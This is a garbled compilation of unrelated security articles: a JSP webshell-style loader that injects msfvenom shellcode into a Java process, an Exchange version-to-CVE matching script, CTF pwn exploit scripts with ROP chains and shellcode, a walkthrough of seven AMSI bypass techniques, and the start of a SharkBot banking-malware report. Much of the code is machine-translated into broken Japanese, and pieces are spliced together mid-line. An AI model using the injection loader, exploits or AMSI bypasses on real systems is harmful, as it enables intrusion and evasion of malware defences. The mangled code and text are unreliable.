字節數組buf的生成方法:

msfvenom-pwindows/x64/execcmd=calc.exe-fjavalong hProcess=-1;表示注入當前Java進程

直接執行會報錯提示ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine,這裡需要添加引用tools.jar,默認位置為jdk \lib\tools.jar

2.jsp實現測試環境為Tomcat

將以上代碼改寫成jsp的格式,執行時同樣會報錯ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine

這裡可以改為使用URLClassLoader引用tools.jar

原代碼:

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');替換為:

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');完整的jsp代碼如下:

%@pageimport='java.lang.reflect.Method'%%@pageimport='java.net.URL'%%@pageimport='java.net.URLClassLoader'%%

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

//calc

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

0x00 前言Exchange的版本眾多,歷史漏洞數量也很多,因此需要通過程序實現版本探測和漏洞檢測。本文將要介紹通過Python進行版本探測的兩種方法,介紹漏洞檢測的實現細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路1.版本識別(1)獲得精確版本(Build number)

訪問EWS接口,在Response Headers中的X-OWA-Version可以獲得精確版本,如下圖

ea77e433c222dd8aef0fb7320a17475.png

優點:精確版本(Build number)能夠對應到具體的發布日期

缺點:方法不通用,部分舊的Exchange版本不支持

(2)獲得粗略版本

訪問OWA接口,在回顯內容可以獲得粗略版本,如下圖

3d3ce0a46278a1679069a3fe924054e.png

優點:方法通用

缺點:粗略版本無法對應到準確的發布日期,只能對應到一個區間

綜上,在版本識別上,首先嘗試獲得精確版本,如果無法獲得,再嘗試獲得粗略版本

獲得版本號後,可以去官網查詢對應的Exchange版本和發布日期,查詢地址:https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

2.漏洞檢測Exchange的漏洞詳情可通過訪問https://msrc.microsoft.com/update-guide/vulnerability/CVE 查看,例如:

CVE-2020-0688對應的URL:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0688

在漏洞檢測上,可以將補丁時間作為判定依據,如果識別到的Exchange版本發布日期低於某個補丁日期,那麼判定該Exchange存在該補丁中描述的漏洞。

0x03 實現細節1.版本識別訪問EWS接口獲得版本的實現代碼:

url1='https://'+host+'/ews'

req=requests.get(url1,headers=headers,verify=False)

if'X-OWA-Version'inreq.headers:

version=req.headers['X-OWA-Version']

print(version)訪問OWA接口獲得版本的實現代碼:

url2='https://'+host+'/owa'

req=requests.get(url2,headers=headers,verify=False)

pattern_version=re.compile(r'/owa/auth/(.*?)/themes/resources/favicon.ico')

version=pattern_version.findall(req.text)[0]

print(version)獲得版本號後,需要同已知的版本信息作匹配。為了提高效率,可以選擇將已知的版本信息存儲在列表中,元素包括Exchange版本,發佈時間和版本號(Build number)

首先從官網複製已知的版本信息,再通過字符串替換的方式將版本信息存儲在列表中

在版本匹配時,需要區別精確版本和粗略版本,精確版本可以對應唯一的結果,而粗略版本需要篩選出所有可能的結果

Build number格式示例:15.1.2375.24

粗略版本格式示例:15.1.2375

粗略版本的篩選方法:

對Build number字符串進行截取,去除最後一個字符”.”後面的數據,同粗略版本進行數據對比,輸出所有結果

代碼示例:

versionarray=[

['ExchangeServer2019CU11Mar22SU','March8,2022','15.2.986.22'],

['ExchangeServer2019CU11Jan22SU','January11,2022','15.2.986.15'],

['ExchangeServer2019CU11Nov21SU','November9,2021','15.2.986.14'],

['ExchangeServer2019CU11Oct21SU','October12,2021','15.2.986.9'],

['ExchangeServer2019CU11','September28,2021','15.2.986.5'],

['ExchangeServer2019CU10Mar22SU',''March8,2022','15.2.922.27']

]

version='15.2.986'

forvalueinversionarray:

ifversioninvalue[2][:value[2].rfind('.')]:

print('[+]Version:'+value[2])

print('Product:'+value[0])

print('Date:'+value[1])2.漏洞檢測將補丁時間作為判定依據,同樣為了提高效率,將已知的漏洞信息存儲的列表中,元素包括發佈時間和漏洞編號

為了便於比較時間,需要改變時間格式,例如將September 28, 2021修改成09/28/2021

代碼示例:

vularray=[

['CVE-2020-0688','02/11/2020'],

['CVE-2021-26855+CVE-2021-27065','03/02/2021'],

['CVE-2021-28482','04/13/2021']

]

date='03/01/2021'

forvalueinvularray:

if(date.split('/')[2]=value[1].split('/')[2])(date.split('/')[1]=value[1].split('/')[1])(date.split('/')[0]value[1].split('/')[0]):

print('[+]'+value[0]+','+value[1])0x04 開源代碼由於代碼內容較長,完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py

版本數據庫的日期為03/21/2022

漏洞信息包括以下編號:

CVE-2020-0688

CVE-2021-26855+CVE-2021-27065

CVE-2021-28482

CVE-2021-34473+CVE-2021-34523+CVE-2021-31207

CVE-2021-31195+CVE-2021-31196

CVE-2021-31206

CVE-2021-42321

代碼能夠自動識別出精確版本,如果無法識別,改為識別粗略版本,標記出所有匹配的漏洞

0x05 小結本文介紹了通過Python進行Exchange版本探測的兩種方法,介紹實現細節,開源代碼,作為一個很好的學習示例。

crypto

xor

1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール(1つの暗号化のみ)を使用してデコードできます

キーは模倣です

uemkso1oxfl812.png

フラグを復号化します

オンライン復号化

bpeomgpgwsm814.png

またはスクリプト:#ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex(ciphertext)#キーが「キー」であると仮定すると、キー=b'mimic '#xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes( 'utf-8')print( 'utf-8')print(plaintext)1049983-20241029164628741-2140565532.jpg

pwn

ezcode

JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。

PWNインポートから *

JSONをインポートします

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

io=process(pwnfile)

#io=remote()

elf=elf(pwnfile)

libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

#libc=elf( './libc.so.6')

shellcode='' '

Sal Edi、12

MOV DX、7

MOV AX、10

syscall

CDQ

Xor Eax、Eax

MOV ESI、ECX

Xor EDI、EDI

syscall

'' '

shellcode1=asm(shellcode)

print( 'len-'、len(shellcode1))

payload1={

'shellcode': shellcode1.hex()

}

io.sendlineafter( 'input:'、json.dumps(payload1)を入力してください)

shellcode=asm( '' ''

MOV RDI、0x999800d

Xor ESI、ESI

XOR RDX、RDX

Mov Rax、2

syscall

MOV RDI、Rax

MOV RSI、0x9998000+0x300

MOV EDX、0x40

Xor Eax、Eax

syscall

MOV EDI、1

MOV RSI、0x9998000+0x300

Mov Rax、1

syscall

'' ')

io.sendline(b './flag \ x00 \ x00 \ x00'+シェルコード)

io.Interactive()

signin_revenge

スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW

PWNインポートから *

コンテキスト(log_level='debug'、os='linux'、arch='amd64')

pwnfile='./vuln'

#io=process(pwnfile)

io=remote( 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true)

elf=elf(pwnfile)

libc=elf( './libc.so.6')

def debug():

gdb.attach(io)

一時停止()

pop_rdi=0x00000000401393

puts_got=elf.got ['puts']

puts_plt=elf.plt ['puts']

main_adr=elf.symbols ['main']

#デバッグ()

pay=b'a '*0x108+flat(pop_rdi、puts_got、puts_plt、main_adr)

io.sendlineafter( '移動してpwn!\ n'、支払い)

puts_adr=u64(io.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=puts_adr-libc.sym ['puts']

pop_rdx=libc_base +0x00000000142c92

pop_rsi=libc_base +0x00000000002601f

pop_rbp=libc_base +0x0000000000226c0

pop_rax=libc_base +0x0000000000036174

leave_ret=0x4012ee

read=0x04012d6#0x130

BSS=0x404000+0x800

flag_adr=bss+0x98

op=libc_base + libc.symbols ['open']

re=libc_base + libc.symbols ['read']

wr=libc_base + libc.symbols ['write']

pay=b'a '*0x100+p64(bss-8)+flat(pop_rax、bss、read)

io.sendafter( '移動してpwn!\ n'、支払い)

#デバッグ()

orw=flat(pop_rdi、flag_adr、pop_rsi、0、op、

pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、

pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr)+b './flag \ x00'

io.sendline(orw)

io.interactive()

qwen

2b3cf38193ce3750b491914d11006e83

MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。

次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します

0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム( "/bin/sh")を実行してシェルを取得します

exp

PWNインポートから *

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true)

#p=process( 'pwn1')

elf=elf( 'pwn1')

libc=elf( 'libc.so.6')

#debug( 'b *$ rebase(0x1022)\ n')

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

pl=b'a '*0x8 + p16(0x1508)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111')

SLA(b'administrator key \ n '、str(0x6b8b4567))

file_name=b '/proc/self/maps'

sla(b'logged in!\ n '、file_name)

rl(b'デバッグ情報は次のとおりです\ n ')

pro_base=int(r(12)、16)

rl(b'libc.so.6 \ n ')

libc_base=int(r(12)、16)-0x1e7000

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

範囲のIの場合(5):

sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')

#0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

#0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

rdi=libc_base +0x00000000002164f

システム、binsh=get_sb()

ret=libc_base +0x00000000000000008aa

one_gadget=libc_base +0x00000000000004ee21

PL=P64(LIBC_BASE +0x000000000000D10BE) + P64(ONE_GADGET) + P64(RET) + P64(RDI) + P64(BINSH) + P64(システム)

sa(b'say? '、pl)

sla(b'game [y/n] '、b'n')

sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')

lg( 'pro_base'、pro_base)

lg( 'libc_base'、libc_base)

#一時停止()

inter()、そして電力をエスカレートします。

ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。

例えば

/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です

Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。

signin

追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。

PWNインポートから *

ctypesをインポートします

ctypesからインポート *

コンテキスト(arch='amd64'、os='linux'、log_level='debug')

file_name='./vuln'

libc=elf( './libc.so.6')

#libc=ctypes.cdll( '/lib/x86_64-linux-gnu/libc.so.6')

#libc.srand.argtypes=[ctypes.c_uint]

Li=Lambda X : Print( '\ x1b [01; 38; 5; 214m' + str(x) + '\ x1b [0m')

ll=lambda x : print( '\ x1b [01; 38; 5; 1m' + str(x) + '\ x1b [0m')

#context.terminal=['tmux'、 'splitw'、 '-H']

debug=1

debug:の場合

r=remote( 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true)

else:

r=process(file_name)

libcc=cdll.loadlibrary( './libc.so.6')

libcc.srand(libcc.time(0))

elf=elf(file_name)

def dbg():

gdb.attach(r)

一時停止()

def dbgg():

raw_input()

r.send( 'rbp')

範囲(100):のIの場合

a=libcc.rand()%100+1

r.sendafter( '認証コード: \ n'、p64(a)を入力)

r.sendafter( '\ n'、p32(1))

#dbg()

r.sendafter( 'index: \ n'、p32(0))

r.sendafter( 'note: \ n'、b'a '*0x10)

睡眠(0.5)

r.send(b'a '*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013c0)))

libc_base=u64(r.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

openn=libc_base+libc.sym ['open']

read=libc_base+libc.sym ['read']

書き込み=libc_base+libc.sym ['write']

rdi=libc_base +0x0000000000023b6a

rsi=libc_base +0x00000000002601f

rdx=libc_base +0x00000000142c92

印刷(hex(libc_base))

r.send(b'a '*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013c0))

r.send( 'flag')

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404200)+p64(0x4013cf))

睡眠(0.5)

r.send(b'a '*0x100+p64(0x404300)+p64(0x4013cf))

睡眠(0.5)

#dbg()

R.Send(b'flag \ x00 \ x00 \ x00 \ x00 '+p64(RDI)+P64(0x404200)+P64(RSI)+P64(0)+P64(RDX)+P64(0)+P64(Openn)+P64 (RDI)+P64(3)+P64(RSI)+P64(0x4041A0)+P64(RDX)+P64(0x30)+P64(READ)+P64(RDI)+P64(RDI)+P64(1)+P64(書き込み)))

R.Interactive()

ゲストブック

メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです

PWNインポートから *

sysをインポートします

context.log_level='debug'

context.arch='amd64'

#libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')

libc=elf( './libc.so.6')

フラグ=1

flag3360の場合

p=remote( 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true)

else:

p=process( './pwn')

SA=Lambda S、N : P.Sendafter(S、N)

SLA=Lambda S、N : P.SendlineFter(S、N)

SL=Lambda S : P.Sendline(s)

sd=lambda s : p.send(s)

rc=lambda n : p.recv(n)

ru=lambda s : p.recvuntil(s)

ti=lambda : p.Itteractive()

漏れ=ラムダ名、addr :log.success(name+' - '+hex(addr))

def dbg():

gdb.attach(p)

一時停止()

DEF CMD(選択):

ru( '')

SL(str(選択))

def add(index、size):

CMD(1)

ru( 'index')

SL(str(index))

ru( 'サイズ')

SL(str(size))

def編集(index、content):

CMD(2)

ru( 'index')

SL(str(index))

ru( 'content')

SD(コンテンツ)

def delete(index):

CMD(3)

ru( 'index')

SL(str(index))

def show(index):

CMD(4)

ru( 'index')

SL(str(index))

追加(0,0x520)

追加(1,0x500)

追加(2,0x510)

削除(0)

追加(3,0x568)

削除(2)

show(0)

mainarean=u64(ru(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

libc_base=mainarean-0x21b110

編集(0、b'a '*0x10)

show(0)

ru(b'a '*0x10)

heap_base=u64(p.recv(6).ljust(8、b '\ x00'))-0x290

編集(0、P64(メイレアン)*2)

free_hook=libc_base+libc.sym ['__ free_hook']

ogs=[0xe3afe、0xe3b01,0xe3b04]

og=libc_base+ogs [1]

puts_io_all=libc_base + libc.sym ['_ io_list_all']

wfile=libc_base + libc.sym ['_ io_wfile_jumps']

addr=libc.symbols ['puts']+libc_base

fake_io_addr=heap_base +0x1720

lock=0x3ed8b0+libc_base

pop_rdi=libc_base + next(libc.search(asm( 'pop rdi; ret;'))))))

pop_rsi=libc_base + next(libc.search(asm( 'pop rsi; ret;')))))

pop_rdx_r12=libc_base + next(libc.search(asm( 'pop rdx; pop R12)

Windows 開發了反惡意軟件掃描接口(AMSI) 標準,允許開發人員在其應用程序中集成惡意軟件防禦。 AMSI 允許應用程序與系統上安裝的任何防病毒軟件進行交互,並防止基於腳本的動態惡意軟件執行。我們將在本文中了解更多關於AMSI、代碼實現和一些眾所周知的繞過方法。

背景簡而言之,它是微軟提供的基於腳本的惡意軟件掃描API,可以集成到任何應用程序中,以掃描和檢測用戶輸入的完整性,從而保護應用程序,從而保護消費者免受惡意軟件的攻擊。例如,一個消息應用程序可能會在將消息轉發給接收者之前掃描帶有AMSI 的消息以查找惡意軟件。

AMSI是獨立於供應商的,並提供開放的Win32 API 和COM 接口供開發人員使用。由於Microsoft 自己管理AMSI,因此會自動更新最新的惡意軟件簽名。因此,開發人員可以很容易地集成AMSI,以保護其消費者免受基於腳本的動態惡意軟件的攻擊。

AMSI 適用於基於簽名的檢測。這意味著對於每個特定的惡意關鍵字、URL、函數或過程,AMSI 在其數據庫中都有一個相關的簽名。因此,如果攻擊者再次在他的代碼中使用相同的關鍵字,AMSI 就會立即阻止執行。

惡意軟件命名規則在閱讀有關AMSI 工作原理的更多信息之前,讓我們先了解一下惡意軟件是如何命名的。在分析中,Windows 通常會檢測到惡意軟件,但分析人員無法確定惡意軟件的確切細節和行為。計算機防病毒研究組織(CARO) 給出了惡意軟件的標準命名約定。例如,基於快捷方式的caphaw 後門命名如下:

1.png

AMSI 工作原理作為一名開發人員,你可以使用AMSI 提供使用AMSI 的惡意軟件防禦。假設你創建了一個應用程序,該應用程序輸入一個腳本並使用像Powershell 這樣的腳本引擎執行。在進行輸入時,可以調用AMSI 以首先檢查惡意軟件。 Windows 提供COM 和Win32 API 來調用AMSI。 AMSI 的執行流程如下:

2.png

AMSI API 是開放的,因此任何殺毒軟件都可以從其函數中讀取數據。此時,一個Windows 腳本就會運行。當它通過AMSI 時,amsi.dll 被注入到與我們程序相同的虛擬內存中。這個amsi.dll 有各種可以評估代碼的函數。但是,實際的掃描任務是由這兩個函數執行的:

AmsiScanString()

AmsiScanBuffer()這些函數的作用是評估代碼。如果代碼是乾淨的,則結果最終會傳遞給殺毒軟件提供程序類,然後使用RPC 調用從那里傳遞給殺毒軟件服務。如果代碼可疑,則會被AMSI 阻止。

AMSI 繞過方法既然我們已經討論了AMSI 的基礎知識,我們將討論一些非常著名的繞過AMSI 的技術。為了執行橫向移動/特權升級的任意代碼,滲透測試人員通常需要繞過AMSI。

如要討論所有繞過方法則超出了本文的範圍,因為每天都有新方法出現。本文將討論其中最突出的幾個,並在Windows 10 1809版本上進行了測試。值得注意的是,隨著簽名的不斷更新,Windows的最新版本(超過1903年)幾乎阻止了互聯網上所有可用的方法。

注意:AMSI 會阻止某些關鍵字,如“invoke-mimikatz”或“amsiutils”,因為它們被廣泛用於利用,因此,作為概念證明,我們將僅在繞過後運行這些命令。此處不會繞過實際的有效載荷。

Microsoft 已將AMSI 集成在powershell 終端(powershell.exe 應用程序)中,該終端接收輸入並通過Powershell 引擎對其進行解析。如果我們打開進程黑客並蒐索amsi.dll,我們會看到amsi 正在powershell 終端中運行,任何輸入都會首先被掃描。

3.png

方法1:Powershell降級如果你正在運行基於powershell 的有效負載並且AMSI 阻止了它,你可以將你的powershell 版本降級到2.0,因為AMSI 僅在2.0 之後的版本中受支持。首先,你可以看到我們的關鍵字被amsi屏蔽了。

4.png

讓我們檢查一下PS 的當前版本,然後降級到版本2 並再次運行這些被阻止的命令。

5.png

但正如你想像的那樣,這裡最大的缺點是許多現代函數或腳本無法在Powershell 2.0 上運行。

方法2:混淆混淆是指使代碼變得複雜和不可讀的技巧。 AMSI 根據某些關鍵字檢測簽名,因此對這些關鍵字進行模糊處理是有效的。例如,讓我們混淆invoke-mimikatz 命令

6.png

如你所見,只需斷開一個字符串並使用+運算符將它們連接起來,這樣就可以繞過AMSI。

然而,這種技術也有它自己的缺點。有效載荷可能會觸發AMSI多次。在每次運行有效負載後,一直對關鍵字進行模糊處理實際上非常耗時,而且會產生噪音。因此,手動混淆一直對關鍵字進行模糊處理實際上非常耗時,而且會產生噪音最好。

RhytmStick 開發了這個工具“AmsiTrigger”,它可以針對AMSI 掃描腳本/有效負載,並告訴我們哪些行會觸發AMSI,然後我們可以混淆它們!你可以在此處下載該工具。

現在,我們使用以下命令創建了一個名為demo.ps1 的腳本

7.png

我想使用AmsiTrigger 對照AMSI 進行檢查。具體過程如下:

8.png

現在,就可以知道AMSI 阻止執行的行。我們可以繼續使用字符串連接方法對它們進行混淆,例如:

9.png

現在,它們可以運行並成功繞過AMSI!

10.png

你也可以嘗試https://amsi.fail 來混淆你的代碼。

方法3:強制執行錯誤Matt Graeber 在他的推文中談到了繞過AMSI 的方法。如果在上述場景中啟動AMSI 掃描,則存在一個名為amsiInitFailed() 的函數,該函數將拋出0。這種繞過基本上是為amsiInitFailed 分配一個布爾True 值,以便AMSI 初始化失敗,不會對當前進程進行任何掃描!代碼如下:

11.png

這之後,許多人發布了相同方法的不同版本。在某些方法中使用字節碼,在其他方法中,替換函數或替換字符串,但邏輯都相同。

方法4:內存劫持Daniel Duggan 在他的博客中發布了關於可以繞過AMSI 的內存劫持技術。其邏輯是掛鉤函數AmsiScanBuffer() 以便它始終返回句柄AMSI_RESULT_CLEAN 指示AMSI 是否發現惡意軟件。可以使用Rohitab 的API 監控工具監控API 響應。

首先,通過我們下載Invoke-Mimikatz 腳本,查看AMSI 是否正常工作。

12.png

為了減少將代碼編譯為DLL 的麻煩,你可以查看我的fork。下載後,確保將主包的名稱從“AmsiScanBufferBypass”更改為“Project”或任何你喜歡的名稱,因為AMSI 也會阻止字符串“AmsiScanBufferBypass”!

下載之後,進入發布文件夾,看到一個名為ASBBypass.dll的DLL。請注意,由於我們現在有一個DLL,它也可以與我們的EXE 有效負載集成,並且會繞過AMSI!

這樣內聯C# 代碼僅使用powershell 終端激活補丁!

13.png

如你所見,amsi 現在已經被繞過了!

方法5:內存劫持(混淆操作碼)在Rasta Mouse (Daniel Duggan) 技術開始被檢測到後,人們對代碼進行了各種更改以使其再次FUD。 Fatrodzianko 在他的博客中發布了一種這樣的技術。他使用操作碼混淆了相同的代碼,可以查看腳本。

要運行腳本,只需下載它,重命名它(以避免AMSI 檢測關鍵字),然後像這樣運行:

14.png

如你所見,我們現在已經成功繞過了AMSI。

方法6:使用反射技術繞過AMSI根據微軟的說法,Reflection 提供了描述程序集、模塊和類型的對象(Type 類型)。你可以使用反射來動態創建類型的實例,將類型綁定到現有對象,或從現有對象獲取類型並調用其方法或訪問其字段和屬性。如果你在代碼中使用屬性,反射可以讓你訪問它們。

Paul Laine 在contextis.com 上發布了原始的內存劫持方法。 Shantanu Khandelwal 使用Matt Graeber 的反射技術將相同的代碼轉換為完整的內存補丁。 Shantanu 使代碼更加隱秘,因為現在沒有留下任何磁盤上的繞過製品。

我們不會在本文中演示原始補丁,但反射更新可以下載。確保下載並重命名腳本並避免使用“amsibypass”等關鍵字,因為它們會被阻止。我已將其重命名為“am-bp-reflection.ps1”

15.png

方法7:Nishang All in One 腳本Nikhil Mittal 在他著名的工具“Nishang”中添加了一個AMSI 繞過腳本。該腳本結合了6 種不同的方法來一次運行繞過AMSI。具體如下:

unload——Matt Graeber 的方法。從當前PowerShell 會話中卸載AMSI。

unload2——Matt Graeber 的另一種方法。從當前PowerShell 會話中卸載AMSI。

unloadsilent——Matt Graeber 的另一種方法。卸載AMSI 並避免WMF5 自動記錄。

unloadobfuscated——上面的“卸載”方法使用Daneil Bohannon 的Invoke-Obfuscation 進行了混淆,這就避免了WMF5 自動記錄。

dllhijack——Cornelis de Plaa 的方法。代碼中使用的amsi.dll來自p0wnedshell。

psv2——如果.net 2.0.50727 在Windows 10 上可用。 PowerShell v2 已啟動,它不支持AMSI。

我們只需下載腳本並運行,該工具將使用有效方法自動繞過AMSI。例如,這裡WMF5 自動記錄繞過已經奏效。此方法可以從當前終端卸載AMSI 並繞過它。

從這裡下載腳本並將其重命名為“nishang.ps1”並像這樣運行它:

16.png

總結在本文中,我們討論了AMSI的工作流程以及繞過它們的7 種方法。需要注意的是,還有比本文介紹的更多的方法,但本文的目的只是討論最廣為人知的7 種繞過AMSI 的方法。

近年來Android 惡意軟件的數量有所增加,尤其是Android 銀行惡意軟件。其中一個系列是一款名為SharkBot 的Android 銀行惡意軟件。在我們的研究中,我們注意到該惡意軟件是通過Google Play 官方商店分發的。

我們在Google Play 商店中發現了很多的SharkBot droppers,C2 服務器也用於所有其他的dropper。發現後,我們立即向Google 報告了這一情況。有關新發現的SharkBot dropper 應用程序的Google Play 商店URL,請參閱下面的IoC 部分。

0x01 總體概括SharkBot 是Cleafy 團隊於2021 年10 月末發現的一種Android 銀行惡意軟件。在撰寫本文時,SharkBot 惡意軟件與Flubot、Cerberus/Alien、Anatsa/Teabot、Oscorp 等其他Android 銀行惡意軟件沒有任何關係。

https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europeCleafy 文章指出,SharkBot 的主要目標是通過自動轉賬系統(ATS) 從從受感染的設備發起資金轉賬。據我們觀察,這種技術是一種高級攻擊技術,在Android 惡意軟件中並不經常使用。它使攻擊者能夠在合法的移動銀行應用程序中自動填寫字段並啟動匯款,而其他Android 銀行惡意軟件(如Anatsa/Teabot 或Oscorp)需要現場操作員授權匯款。這種技術還允許攻擊者以最小的努力擴大他們的成果。

